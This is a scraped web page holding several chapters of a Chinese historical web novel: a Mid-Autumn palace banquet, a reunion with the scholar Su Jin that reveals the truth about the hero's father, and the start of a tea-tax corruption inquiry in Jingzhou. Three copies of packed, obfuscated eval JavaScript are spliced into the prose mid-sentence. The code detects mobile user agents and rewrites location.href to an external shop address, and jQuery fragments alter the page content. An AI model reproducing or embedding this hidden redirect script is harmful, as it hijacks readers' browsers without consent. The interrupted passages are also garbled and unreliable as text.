不过她语气还算和善,点了点头应道:“你倒是有眼色,在下正是木芯。不知小公子有何事相求,不过恕我多嘴,你该去找后面那位。” 陈京观顺着木芯姑姑的话往后看了看,只见几个趾高气昂的小宫女抱着红菊和墨菊,生怕别人看不到,便将动作做的夸张异常。 陈京观笑了笑摆头,从怀里拿出那个小匣子。 “在下陈京观。有幸在槐州得薛知州照拂,特帮他给娘娘送来中秋贺礼。” 木芯一听薛磐的名号,脸上的神色立马紧张起来,不过她看向陈京观的眼神倒多了几分敬重,她示意身后的小宫女们先走,而她拉着陈京观往小巷深处又靠了靠。 “可是薛知州有事?” 陈京观闻言笑着摇头,木芯的紧张情绪才稍有缓解,她接过陈京观手里的东西朝他倾身道谢,不过她走了两步又回头看了一眼陈京观,表情有些复杂。 而陈京观没有在意,他摆了摆手向木芯告辞,就转身离开了。 他在这耽误了些时间,所以怕误了群臣觐见的时辰,他不想让萧霖抓到自己的疏漏再调侃一番。 今日的宴请相比新春时分规模要小些,通常都是五品以上受皇帝亲邀的大臣才可以来,如此一来规矩自然也少些,陈京观穿的是江秀给自己缝制的那件墨绿色长袍。 他是武将,故而纵使衣服上是仙鹤展翅,倒了不算是冲撞了蒋铎。 他到正殿前时,大家基本都到了,其中有一些从其他州府赶来的知州没见过他,不免要用眼睛打量一下,他看见了就笑着回应,一路走到了武将之首的位置。 而他身后的是南魏的明威将军崔擎舟,在陈京观没入阙州前,他是最有望成为大将军的人。 不过崔擎舟每次看到陈京观都非常客气,作出一副恭敬的表情,这一次也不例外。 他看到陈京观过来了,就将自己的位子挪了挪,笑着迎陈京观去前面。 “多谢崔将军。” 陈京观点头道谢,而崔擎舟忙应承了一句。 对于此人,陈京观有种说不上的感觉,他虽是正经武举出身,可是在他身上,陈京观没看出习武之人那股杀伐决断或者说光明磊落的感觉,反倒是每次他站在自己背后,他就感觉到丝丝凉意。 但也难为他在南魏的朝廷当了小二十年将军,身上却只有西芥那一场胜绩。 当时陈频出征西芥时他刚任武德将军,就被选进去做了军队的副将,那一仗死伤无数,活下来的又多被选进了出使队伍,少有几个五品以上的官还能留在阙州,而他就是其中一个。 不过直到现在,陈京观没有发现他与曾经的事有任何牵连,甚至他依稀记得父亲的手书上夸奖过一位姓崔的将军,说他骁勇善战,是南魏少得的勇武之人。 陈京观想着,整了整自己的装束,没一会正殿就传来内侍的声音。 虽说只有二三十人,可是当这队伍往里走时,却又有着不可撼动的威仪,陈京观身旁站着蒋铎,他迈步前朝着陈京观笑了笑,那其中的狡黠毫不收敛。 陈京观没作声,别过了头,由内侍带着他去了位置上。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14197254|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 等着群臣坐罢,萧霖便由人从书房引着出来,陈京观抬头看了他一眼,萧霖也默契地与他对视。 由于是小型宴会,萧霖的座位离大家不远,可直到他落座,蒋铎旁边的位置依旧空着。 陈京观微微皱眉,但他想着既然宴会由萧霖主办,不该有人借苏晋将自己骗来,除非是堂上的人有了自己的算计。 他看了一眼萧霖,可这时的萧霖正在与身侧的皇后寒暄,不知说了些什么,只见他脸上笑意渐浓。 而陈京观回眸时,看到了宸妃向自己点了点头,她是如今后宫中仅次于皇后的妃子,可她不爱争宠,故而总有些捧高踩低的人轻视她,但她就如今日那盆菊花,看着衰败,却在角落里开了许久。 陈京观向她回以微笑,为自己斟了一杯酒,遥遥敬她。 而中秋的筵席常安排在午后到傍晚,方便结束后让大臣领家眷上街赏灯,所以一些家不在阙州的官员也会将妻儿一同带到京城,司舍局就会安排他们住在官家驿站。 萧霖与皇后聊完,就吩咐人开席了。 两边的宫女鱼贯而出,司膳局的内侍一边报着菜名,一边加上些吉祥话,把萧霖哄高兴了,萧霖就赏了他们半月的俸禄作礼金。 “司礼局乐坊新排演了《婵宫印月》,听说扮演嫦娥的娘子颇是动人。” 不知过了多久,下面的大臣三巡酒过有些上头,开始口无遮拦的说道。 不过他刚说完就被身旁的人用眼神示意,可萧霖倒不是很在意,他笑着和身后的内侍说了些什么,不一会就见一队身穿素色纱衣的姑娘走上台来。 相比那日陈京观在蒋铎府见的,这些都是层层筛选出来的舞娘,无论是身形还是情态,都更显出官家的端庄。 她们在台上站定,后面的乐工便开始吹拉弹唱,这些姑娘的腰肢细软,尤其扮作嫦娥的那位,的确是妙若仙人。 不过陈京观此刻的心不在此处,他侧身看着窗外,那轮明月高悬,估摸着再有不到一个时辰就该散席了,可苏晋还是没有来。 “我听说少将军能文能武,不知道今日中秋,可有颂词助兴?” 陈京观闻言,看到说话的是工部尚书周原任,他是当朝皇后周湘的父亲,自然有了些父凭女贵的意味。 只是他这一声,倒是惊了其他人,就连上座的周湘都沉不住气欲开口制止,却被萧霖压了下去。 陈京观不常露面,而今他又似乎站在皇帝的阵营,大家摸不清他的性子都不敢招惹他,可周原任并不在意,他说罢端着酒杯朝陈京观敬酒,陈京观笑着回了他一杯。 “周尚书这传言从何处听得,我倒是不知道自己还有这等本事?” 陈京观打趣着,可是周原任没打算就此打住。 “少将军过谦,还是说我这身份请不动您,要皇上发话?” 周原任的酒劲上了头,满脸通红地望着萧霖,可萧霖没出声,只有一幅看戏的表情。 陈京观觉得好笑,刚要出声去应,正殿的门就被推开了,一个身型高大的男子背着光,内侍通报道:“翰林学士苏晋到!” 陈京观循声望去,只见那个身影每一步都走得很坚定,他不似传闻中说的形销骨立,反而因为平日里常在院落里劳作,皮肤晒得有些黑,但是看上去却十分康健。 苏清晓说得倒是不虚,陈京观心里想着,而眼前的人就对上了自己的目光。 “老夫旧不入朝,倒是没见过这幅新面容,恐就是少将军?” 苏晋朝萧霖行礼后往自己的位置上去,但半途中停在了陈京观面前。 苏晋笑着看他,陈京观一时有些恍惚,他记不清苏晋的样貌了,但是这个笑,真的很像父亲。 “晚生陈京观,见过苏先生。” 陈京观想要起身,却被苏晋用手按下去了,他自报家门后听苏晋说道:“少将军可不敢,我只是区区五品,受不得您的礼。” 说罢,苏晋转身朝自己的位置去。而他的突然出现并不没有断绝周原任找事的心,等着苏晋坐下,他便又开口道:“这下我朝大学士也来了,少将军万不可推辞了。” 陈京观听着周原任的话,笑着起身朝萧霖和苏晋行了个礼,最后停顿在周元任面前,也微微举了一躬,他手里端着酒杯,笑着说道:“既然尚书如此信赖,我断不可辜负,那小生献丑了。” 陈京观的话随着杯中酒一起下肚,紧接着他稍作停顿,突然低头一笑。 “秋月霜影尽皎佼,秋风素娥暮萧潇。未道秋菊芳几许,只余少年自逍遥。” 39.前度刘郎(三) 陈京观的诗为今夜的宴席画了一个句点,萧霖夸他果然深藏不露,周原任就随着附和了几句,满堂喝彩中只有一个人久久不能平复。 等宴席散场,陈京观跟在众人身后走出大殿,他行至崇明殿门口时,背后突然响起一声试探。 “你是他,对吗?” 在皇城脚下,即使苏晋再激动也还保持着那一点谨慎,他原想着远远跟着陈京观回家再说,但是陈京观在前面走着,他越看越觉得相像。 于是苏晋小心翼翼地问了一句,便得到了陈京观确认的答复。 陈京观让等在外面的席英和平芜先去春芳楼买些桂花酥和桂花酒,说自己稍后就去,然后便将苏晋拉到了没人处,喊了一声“苏叔叔”。 “你还活着,真好。” 苏晋像是着了魔一般在嘴里念叨着,他此刻已经全然没有了思考。 其实他第一眼见到陈京观时只觉得亲切,可他那句诗词一出,他便能认出这就是陈景豫。 那首诗是陈频在陈府家宴上吟诵的,苏晋还笑他一把岁数装少年,可陈频却笑着将这句诗送给了孩子们,他祝他们此生逍遥。 “你怎么又回来了?” 喜悦之余,苏晋愁容满面,而陈京观笑着宽慰他。 “想你们了,就回来了。” 苏晋嘴上说着“好”,可眼眶却有些湿润,陈京观觉得此处不易多聊,便拉着苏晋一同朝春芳楼走去。 一路上苏晋打开了话匣子,问了陈京观许多问题,但多是一些长辈的关心之词,他刻意避开了八年前的事。 陈京观一面应着他,一面又有些心酸,因为苏晋的有些问题,他觉得是问给苏清晓的。 “我前些日子见过清晓。” 陈京观此话一出,苏晋便开始沉默,他哽了哽喉咙,问了句:“他现在还好吧。” “他现在是益州远近闻名的神医,不过他不收费,所以日子稍微清苦些。” 苏晋闻言,有些释然地说:“他看不起我,便自己跑出了家。如今的日子,该是他喜欢的,我也无憾了。” 苏晋的语气里有藏不住的难过,而陈京观还从其中听到了自嘲。 “看不起,怎么会?” 苏晋笑了笑,没有答话。 他们此时已经到了春芳楼的牌匾下,里面的店家见他二人穿着朴素,便绕过他们去迎身后的贵人,他们相视一笑,谦让了一番走进了店中。 “他觉得我懦弱。” 陈京观走在苏晋前面,上楼梯时突然听苏晋答道。他稍稍顿身,轻叹了一口气。 苏清晓最后留下的那句陈京观到现在还记得,可他不觉得苏晋做错了什么,审时度势,选择最光明的一条路,这才是聪明人的做法。 父亲是一腔忠义,孟叔叔是以死明志,他们是南魏风骨,可苏晋这般懂得珍惜羽毛的人,又何尝不是? 毕竟只有活着,才有再作抵抗的机会。 可这些话陈京观没有说给苏晋听,他与苏晋进了平芜定的包房,看到两个小孩正头对头趴在窗外看灯。 去年中秋的阙州城还在闹饥荒,大家每日的心思全在如何找米下锅,那个中秋便草草过去了。 今年一切如常,人们便想要加倍将中秋的氛围装点起来,路上的龙灯和桥下的花灯璀璨夺目,连街市上摆摊的人都多了起来。 “你们两个等下下去看,趴在那里小心掉下去。” 陈京观笑着喊他们,平芜便一下跳到了地上,倒是席英似乎还有些留恋。 好像从平海被刺那日起,她格外喜欢有烟火气的东西。 平芜落地后朝着苏晋行礼,又出门朝小二多要了一个杯子,回来给苏晋也倒了酒。 苏晋看着眼前的小孩脸上满是慈祥,他问了陈京观关于平芜和席英的事情,说到平海时,也随着叹息了一声。 今日的宫宴虽然种类繁盛,但多是些花架子,中看不中吃,陈京观随便夹了几筷子就停下了,如今看着面前的饭菜,不禁咽了咽口水。 “边吃边说吧。” 苏晋看到了陈京观的小动作,笑着对他说。 陈京观也不再推脱,和平芜两个人一人提了一只肘子大快朵颐起来。 席英吃得文雅,苏晋就不停给她夹菜,平日在府上他们都是同辈,谁也不约束谁,如今在苏晋面前,席英感受到了长辈的慈爱。 “谢谢苏先生。” 席英说着,低下头又扒了两口饭,苏晋笑着看眼前的三人吃饭,目光越来越温和。 其实从苏清晓走后,他几乎没有和其他人一起吃过饭了,儿子的离开让他的夫人悲痛欲绝,没多久就离世了。 那之后苏晋就将府院搬出了主城,遣散了家仆,每日守着院里的菜过日子。 在过去的许多个中秋,他只能倒一杯酒在月光下和脑海里的故友们说说话。 “今日多亏有你们,不然我又得一个人过节了。” 苏晋喝了两杯酒,不免惆怅满腹,陈京观听了他的话握了握他的手,苏晋转头朝他笑了笑。 “苏先生不妨搬来和我们住?” 平海嘴里还吃着菜,嘟囔着说了一句。而苏晋笑了笑摇头道:“不了,儿孙自有儿孙福。况且你师兄如今正得势,若是牵扯上我这个罪臣,会耽误他的前途。” 陈京观原本要敲打平海多言,他害怕自己的处境会牵连到苏晋,可没想到苏晋的想法如出一辙,可他不明白这句“罪臣”所谓合意。 而苏晋看出了他的困惑,开口道:“那日我与你父亲联名上书,到最后由你父亲背锅,可在他们眼里,我又怎会清白。” 苏晋说话时脸上笑得越发凄凉,见陈京观不言,他就继续说:“我也没想过全身而退,可是你父亲拿命护住了我,我这条命,断不能再辜负了他。” 苏晋的话让陈京观越来越不解,而许是喝了酒的缘故,苏晋便将这八年的心事一吐为快。 那时他与陈频受了苏扬的鼓动,联名劝诫萧霖不可出兵。萧霖对此不置可否,他任由朝堂上两个阵营吵得你死我活,他一个人在皇椅上看着,不动声色。 最初苏晋不太理解林均许的话,但是他知道陈频的想法准没错,而他信任陈频。 可事情的发展超出了他的预料,他们的上书有了效果,萧霖力排众议撤了兵,但是也降了陈频的职位,让蒋铎顶替了他。 陈频倒是对此不在意,他与苏扬说了萧霖的决策,苏扬没说话,那时候苏晋其实已经察觉出父亲的异常,但是他向来也是信任父亲的,直到苏扬不辞而别。 陈频一夜间生出白发,但他每日还是照常去上朝,但是很少再进萧霖的内室。 有一日萧霖传召苏晋进宫,他知道自己也不免要因为那些风言风语受些责罚,可是萧霖递给他的,是出兵西芥的圣旨。 苏晋做了一辈子文臣,从小在父亲的熏陶下以书为伴,现如今,要让他提刀上阵,这无疑是赐他一死。 苏晋很绝望,但是尽量压抑住了自己的无力感,可跑出崇明殿后他就哭了。 陈频得知他被传召进宫的消息后就守在门口,看到苏晋这副样子,大抵也知道了原因。 他接过那封诏书踏进了萧霖的书房,再出来时,宣旨的内侍念的是陈频的名字。 苏晋记得陈频临走前只拉着他说了一句,托他照顾好妻儿,务必保全自己。 而后他们再见面,已过了两年。 苏晋看着一身戎装的陈频上殿递上西芥的合意书,他看上去瘦了很多,可苏晋却不知道该怎么关心。 他至今都记得,当陈频想要入列时,却不知自己是文臣还是武将,最后笑了笑跪在了堂中的模样。 那时候苏晋以为一切结束了,但是有关陈频意图扶持六皇子上位的风声越传越邪门,到最后成了他通敌西芥以换取对方助力。 陈频便又一次进了萧霖的书房,出来时领了出使的命令,不过这一次,他没有再给苏晋留下只言片语,苏晋知道他预知了自己的结局。 苏晋的故事讲到这里戛然而止,而陈京观脑海里的故事已经大致有了形状,关于八年前的一切,他都知道了。 但是,苏晋好像跳过了一个关键。 “您与父亲都不是冒失的人,为何一定要阻拦出兵?” 苏晋闻言笑了笑,他的手指摸着酒杯,随后将杯中的酒一饮而尽。 “因为你父亲比我更早知道,苏扬其实只为了他自己。” 苏晋提起自己的父亲,像是提起一个陌生人,甚至脸上染了几分冷漠的神色。 “林均许不会直言让陈频舍命相劝,会发出这个命令的,只有苏扬。他在与崇宁斗,或者说他只为了与崇宁唱反调。你父亲很早就意识到了,我却后知后觉。” 苏晋说着,深 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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于是他选择了顺着苏扬的意思,然后让他看到自己被逼疯的模样,吓退了他,也成全了自己。 他一步步走到自己挖出来的坟墓里,换了南魏苟延残喘地又维持了这么多年。 “萧霖呢?父亲很信任他。” 陈京观问道,可苏晋却笑了,他摇头叹气,说了一句:“可他谁也不信任。” 苏晋见陈京观怔住,就拍了拍他的肩膀,语气里多了些不明其意的思忖。 “他自从发觉这朝堂是苏扬与崇宁的纷争后,他就再也没有说过话了。不过我想,他对你父亲是有愧的,所以他准许我离开了阙州,也准许你,一步步走到了现在。” 苏晋的话点破了一切,直到此时,陈京观明白了萧霖对自己那种无法言说的纵容是从何而来。 或许他已经认出了自己,或许他只是想再寻一位至交,又或许,这次是他想破局。 “既然说到这了,你可要想清楚,你真愿意成为萧霖的棋子?” 苏晋的话让陈京观想到了父亲。 棋子,好像大多也都是弃子。 但是如若能得偿所愿,即使最后身死,应该也没什么遗憾了。 陈京观点头,而苏晋的眼睛里闪过一丝惋惜,他没有出言相劝,因为他劝过那时的陈频。 他们父子俩都是一样的人,看上去柔和,可一旦下定决心,那心硬得像石头。 “你还有什么要问的吗?” 苏晋顿了顿说道,而陈京观已经不似第一次听到往事时木讷,这次苏晋告诉他的,其实是在帮他维护陈频在他心目中的形象。 过去无论从谁嘴里听说,陈频好似都不是他记忆里的父亲,但是听到苏晋的话,陈京观知道这世上有人如自己一般看待陈频,始终相信他的忠勇。 陈京观摇头,起身扶住苏晋,叫平芜去寻马车夫,但是苏晋笑着推脱了,他给两个小孩一人塞了一锭银子,有些摇晃地迈着步子朝城外走去。 不过陈京观还是不放心,便让夏衍找了人悄悄跟着。 “苏先生……” 夏衍站在陈京观身边,他已经换掉了崇宁买给他的华服,又换上了粗布马褂,不过他觉得安心了不少。 此时他顺着陈京观的目光望,其实已经看不见苏晋了,但是陈京观还是试图在寻着什么。 “他没醉,可他若没醉,他就说不出这些话了。” 40.前度刘郎(四) 陈京观作别夏衍,领着两个小孩回家,许是晚上的故事信息量太大,两个人骑着马跟在陈京观后头一言不发。 而陈京观却获得了前所未有的畅然,他眼前的迷雾似乎消散了一些,他不再是摸着石头过河。 不过他们走到院外时,平远军的哨兵等在府院门口,他看见陈京观后就动身迎了上去。 “怎么了,可是雍州有事?” 陈京观松快的心提了上来,但哨兵随即摆手宽慰道:“雍州安好,一切安好。只是陆小爷托人送来中秋的贺信,董将军不放心邮差,便让我亲自送一趟。” 陈京观松了一口气,伸手接过了哨兵递来的信,本意要留他住一晚,可是哨兵有些扭捏地说自己想去阙州城里看看,陈京观就笑了笑,给他写了一封手书,让他入城时交给姓夏的把总。 等着哨兵走后,陈京观手里拿着信想回房休息,可是席英突然出声叫住了他。 平芜看了他们一眼,便自己回了房。 “怎么了?” 陈京观示意席英去凉亭里坐着聊,而他们走着,席英便开口道:“今日听了苏先生的话,你当真没有一丝犹豫?” 陈京观明白席英所指,他语气平缓地回了一句:“没有。” “陈伯父的下场,或许就是你的下场。” 陈京观闻言怔住,但立刻笑了一声,侧身坐在石凳上。 “可我若不来,我甚至不知道他是为何而死的。” 席英有些埋冤自己嘴拙,可陈京观明白她的心意,倾身向后靠在柱子上望着席英,双眼含笑。 “不能因为看见血,就害怕流血。真正的英雄,应当是看到血,而想要保护所有人。” “可是英雄自己会死。” 陈京观闻言点头,重复了一遍席英的话,顿了一下问她:“那你怕死吗?” 席英摇头,但是随后又点了点头。 “我不怕死,可我怕你们会死。” 席英的话向来是直白的,如同她这个人一样简单又热烈,陈京观犹豫了一下还是揉了揉她的头发,而这次席英没有躲开。 “放心,我很惜命的,我也会尽力保护好你们。况且我现在只是知道了原因,还没报仇呢,我这条命还留着有用。” 陈京观说得轻巧,可是席英看见他眼睛里闪过一瞬寒光,她点了点头,但依旧有些踌躇地站在原地。 “平海的死,与你无关。你的心意没错,错的是用那个小姑娘作为诱饵的人。他既毁掉了一个孩子,也差点毁掉了你的善良。” 陈京观直言不讳地点出了席英多日来的负担,可她依旧心事重重,沉吟了片刻,抿着嘴低下了头。 “若我没有遇到你,我会不会就是她?” 闻言,陈京观停在膝上的手下意识收紧,他此刻才明白席英真正恐惧的东西。 她不光怪自己给了女孩玉钗,更是觉得刺向平海的,就是她自己。 “不会。”陈京观出声,而席英抬头看他,“因为你永远记得父母临死时的模样,你不会再把剑刺向身后的百姓。你的剑,只铲奸除恶。” 陈京观的话让席英长舒一口气,那团在她头顶悬浮的乌云消散了,此刻那轮圆月照着她,她却感觉它比阳光还温暖。 “不过你可以继续学着刺绣,学些女儿家的东西,只要你喜欢,你都可以学。” 席英以为陈京观的后半句话是说如此这般自己会寻个好人家,可是他说的是喜欢。 席英点头笑了笑,朝着陈京观举了一躬。 “行了,去休息吧。以后记得多笑一笑,你笑起来挺好看的。” 陈京观眉眼弯弯地盯着席英,他刚才注意到了苏晋给席英夹菜时她那小小的喜悦,他有些责怪自己的粗心。 席英虽然常与行伍之人在一起,可是她毕竟是女孩,即使她再坚强,总还是有些女孩的柔软。 席英用笑回应着陈京观的话,走时脚步轻快了许多。 陈京观抿着嘴笑了,等她离开,他便低头看手上的信。 今晚的月色真的很明朗,在凉亭的遮掩下依旧透着清晖,伴着月光,那信上字也染上了风雅。 “展信佳,先祝你中秋一切都好。平海的事我听说了,望你珍重。我知道你今后的肩上怕是又多了几分重量,但是莫让这重量压垮了你。” 这几行字像是陆栖野思虑再三后写下的,每一笔都显得郑重,陈京观叹了口气,继续往下读。 “这几月我多是奔波于禹州和平州之间,有些焦头烂额,也终于是尝到了成人的烦恼。不过禹州马场被姑姑打理得很好,父亲不放心我,便让桑柘哥做了我的副将,有他的助力我更是如鱼得水。” 陈京观看着,甚至能想到陆栖野有些得意的姿态,他的字写得比几年前更好了,字里行间也有了自己的底气。 “父亲已经将昌安军令交给兄长,兄长去皇帝面前受了官职,成了名副其实的昌安营将军,不过我瞧他并不开心,每日的事情更多了,虽说搬到了澄州,却也常和嫂子分隔两地。母亲暗示他对嫂子多上心些,可嫂子反而为他开脱。我真是羡慕。” 陈京观笑了笑,那一句“羡慕”,他觉得绝对出自陆栖野的真心。 “还有一事我觉得也该告知于你。林伯父将含章托给了晏离鸿,前几日刚办完拜师宴。晏离鸿不愿入朝为官,父亲也没有强迫他,只是托说给他找个活,免得他每日窝在家里,便让他做了昌安军的参谋。不过我觉得倒也是合适。” 陆栖野的信每一段都加着他对这件事情的情绪,陈京观看着,就好似他在自己身边叽叽喳喳的说话。 “而且也不知晏离鸿那小子到底哪里来的福气。拜师宴那日林家的小妹妹也跟着来了,要说平日里我都见不了她几面,结果他们一回家,嫂子就给我们说含晚怕是喜欢上了晏离鸿。我当时觉得诧异,但是越想那日她的表现,越觉得嫂子说得对。只是晏离鸿听完倒是没什么反应,只是含晚还小不作数。我倒是觉得两家长辈有亲上加亲的准备。” 信写到这,陆栖野要告诉陈京观的事情大抵都说完了,剩下的都是些自己这些日子听到的新奇故事,以及一些小小的牢骚。 陈京观看完把信收好,一个人斜靠在凉亭里望月。 今日平芜也喝了不少酒,陈京观没拦他,他觉得应该让他醉一场,于是他刚回府就睡下了。 量说他今日也喝了不少,宫里和各位过来敬酒的人应付一番,宫外又陪着苏晋喝了许多,但是他却一点也没觉得醉。 要是平海在的话,会催他去休息,会说他喝酒了再吹风会头痛。 但是以后没有人会再念叨自己了。 陈京观叹了口气起身,拍了拍身上的灰,去宴会厅的柜子上拿了一壶陆栖野寄来的桂花酿,动身去了桃园,在那里一坐就是一夜。 第二日平芜酒醒去寻陈京观,看到他正靠着那棵桃树睡着,手里的酒坛子还剩了些,他睡着后没拿稳,便倾倒了一地。 平芜想给他披件衣服,陈京观却醒了,他揉着眼睛问时辰,得到答复后就与平芜套了马进了宫。 昨夜与苏晋的交谈让陈京观认识到了不一样的萧霖,他想起萧霖说让自己心平气和时找他谈谈,便预备着下了早朝后就去他的书房。 只是他往日不上朝,今天突然在节后就来了,一路上遇到的大臣多是诧异的神色,他笑着招呼他们,排到自己的位置上等着传唤的内侍号令。 没一会宫门打开了,两边的文臣武将就开始列队入殿,不过陈京观却没有看到蒋铎。 平日里早朝皇帝都是听各部汇报事项,挑出一两个折子在堂上议,随后就是叫相关的大臣进了书房。 今日朝上多了些昨日进阙州的地方官员,他们趁着这个机会纷纷向萧霖诉说着各自的难处,萧霖坐在堂上听着,陈京观觉得若不是他前面没有屏风遮面,他恐怕会哈欠连天。 “臣景州知州关策,冒死求陛下彻查景州茶税!” 陈京观正思谋着等下与萧霖与说些什么,突然看到一个身材矮小的男人冲到了最前面。 他一边喊着一边下跪叩头,殿上侍卫以为他想要行刺,便一窝蜂涌上来抓他,不过他这一举动倒是叫醒了萧霖,萧霖看了关策一眼,示意侍卫退下。 “关策,景州茶税是你州自己的事务,若你与刺史查不出,我要你们有何用?” 萧霖说话的时候语气没有波澜,但是言辞间的威力足以让关策本就颤颤巍巍的身子晃了起来。 他像是下了很大的决心,用嘶喊的声音说道:“臣就是要告景州刺史左疆奇贪污受贿,克扣茶税中饱私囊!” 说完,关策几乎要跌过去了。 大殿上的声音渐渐嘈杂起来,一个知州跑到京城来状告刺史,这简直是滑天下之大稽,陈京观看着跪在地上的人,又用眼神瞟了瞟萧霖。 “你可有证据?” 萧霖说话时微微偏过头,关策不敢抬头,就继续将额头抵着地面说:“有,臣府里有左疆奇草菅人命的证据,还有他命令税务司做的假账。” 关策说到这止住声,而陈京观一直观察 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14228880|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着萧霖的反应,他此时微微将身子直立起来,让关策抬起头说话,关策不敢看萧霖的眼睛,就一直跪在地上打颤。 “你可知,诬陷,也是死罪。” 关策死命点头,萧霖便不再出声。 他问了其他人有无要事禀报,而其他州府的人看到关策这幅样貌也都偃了声气,萧霖旁边的内侍便宣了退朝,独留下了陈京观和关策。 等着其他人都离开,萧霖就从堂上回了书房,而陈京观和关策由人领着从另一扇门去找萧霖。 此时陈京观有了机会去仔细看一看这个敢冒死直谏的知州。 他的双腿好像现在还在发抖,他走在陈京观前面,腰佝偻着,显得他更加瘦小,他似乎察觉到了陈京观的目光,便回头朝他怯怯地点了点头。 等进到萧霖的书房,关策便又立即跪了下去,萧霖看了陈京观一眼,陈京观微微屈身向他行礼。 “你刚才在堂上说的,可有人指使?” 陈京观闻言有些不解,可萧霖又继续说:“你可知,左疆奇是最有望成为监察御史的人。” 萧霖这话一出,陈京观倒理解了,如此说来,他知道左疆奇是崇宁一派的人。 而关策听着萧霖的话心沉了沉,有些泄气地说了一句:“那陛下的意思,是让我们再忍忍,等他进阙州吗?” 萧霖没有回答他,他让关策站起来说话,而关策起身后长叹一口气,突然笑了。 “那陛下不妨给我一个恶意诬告的罪名,将我赶出景州吧。” 关策此时已经不抱什么希望了,他说话时也不再打哆嗦,反而将那背挺得很直,陈京观看他,突然有些心酸。 “你先在官驿住下,我要同几位大臣商议一下再做打算。” 关策闻言道了句“是”,临走时又跪下给萧霖磕头。 等他走后,还没等陈京观说话,萧霖便先问道:“你怎么看?” 陈京观朝萧霖的位置走进了两步,故作思量,缓缓开口:“你放他回去,估计他也是一死。他就没想着能活着回去。” 萧霖点头对陈京观的话表示认同,又示意他继续说下去。 “他一个知州都能被刺史打压成这样,更别说景州没权没势的百姓。景州的茶叶虽比不上遥州,可也是许多人家里的生计,他不到万不得已,不会想着用这么极端的方法来告状。” 陈京观说到景州,又想到了夏衍给自己的说的话,或许他正是被左疆奇迫害的人,不然谁会愿意背井离乡,又有哪个少年愿意被人豢养。 “可你觉得左疆奇这么多年都安然无事,全凭他的能力能做到吗?我这儿,可是一封有关景州茶税的折子都没收到。” 萧霖一边说着,一边挥手指了指那桌上垒得比山高的奏折,可陈京观笑了笑,语气里满是讥讽。 “是啊,多一半都是些我的,都快成我的传记了。” 陈京观的话也逗笑了萧霖,可等他们笑罢,又不得不再谈回关策。 “你在想什么我清楚,但是我问你一个问题,你能将他们彻底打倒吗?” 萧霖的话让陈京观沉默了片刻,他摇头道“不能”,可还没等萧霖说话,他便继续说道:“但是我来阙州之前也并不觉得你能应了我。” 陈京观说话时看着萧霖,萧霖感觉到了他的意思。 昨晚他的人通报说苏晋与陈京观一起走的,他就知道预感到陈京观今日要来找他,若不是借关策这档子事,他们估计还在搓磨着要如何开口。 “这是你运气好,恰巧也猜中了我的心意。可你能保证这一次还能如此?” 陈京观闻言又摇头,萧霖对他的反应哭笑不得,他转身回到了书桌旁坐下,陈京观就往他的方向又走了两步。 “可我想去试试。我不信这天底下真的有不透风的墙,他们做了,就一定会留下蛛丝马迹,我只要能查到一点,就有希望。” 此时的陈京观让萧霖觉得比他那日来崇明殿还幼稚,可他才二十,该是这样一个脾气。 他听陈京观的话点头,便又让他来为自己研磨。 “这一次,我依旧祝你得偿所愿。” 陈京观笑了,回了一句:“这次,祝你也祝我。” 说罢,陈京观朝着萧霖鞠躬,而这一躬比往常的任何一次都庄重,萧霖看着陈京观弯曲的脊背,有种想要伸手拍一拍他的想法,可最后还是忍住了。 他等着陈京观出宫后,才盯着那砚台,好像还能听到陈京观研磨时的声音。 “要真的打一场胜仗,然后好好回来。” 41.景州茶税(一) 陈京观从崇明殿出来,便带着平芜追上了关策。 关策一路上走得快,生怕自己出不了这大殿,只是等他再见到陈京观时,又成了怯懦的样子,低着头叫了一声“少将军”。 “圣旨马上就来,关知州会骑马吗?” 关策有些不明所以,但还是下意识点头应到。 陈京观拍了拍他的肩,转头示意平芜将自己的马给关策,然后让他与自己同骑。 “您是说,陛下让您查景州茶税?” 关策手里接过平芜递过来的缰绳向他轻声道谢,有些不可思议的开口。而陈京观笑着摇了头,用四指朝向他。 “不,是协助您查。” 关策那一刻甚至有些怀疑自己的耳朵。 他为官快二十载了,除了高中时被乡亲这般重视过,后来他调任景州,就再也没有人如这般看着自己了。 “不不不,少将军您,不是,是陛下他……” 关策一时间脑子跟不上嘴,想要说些什么却又不知道怎么说。 陈京观依旧满含笑意,扶着平芜的马示意他上去,等关策坐稳他也侧身骑到马上。 “信你自己一回,你敢在堂上那般直言,已经胜过许多人了。如今的南魏,很少有人敢说话了。” 陈京观说完,没有给关策犹豫地机会就立刻向前跑。 关策连忙拉住缰绳跟上去,虽说是发着抖,可他双腿夹得紧,倒也坐得稳如泰山。 去景州的路和陈京观平日回家的路一样,陈京观将平芜放到了府院门口,让他再去牵匹马。 此时的席英早就候下了,她起来没看到人,想着陈京观应该是去上早朝了,可等了许久不见回来,就想着骑马去迎。 “咱们去趟景州。” 陈京观对她说着,席英点头跟在他后面。 倒是关策看见这么小的姑娘随行,试探般开口:“这是少将军的夫人?” 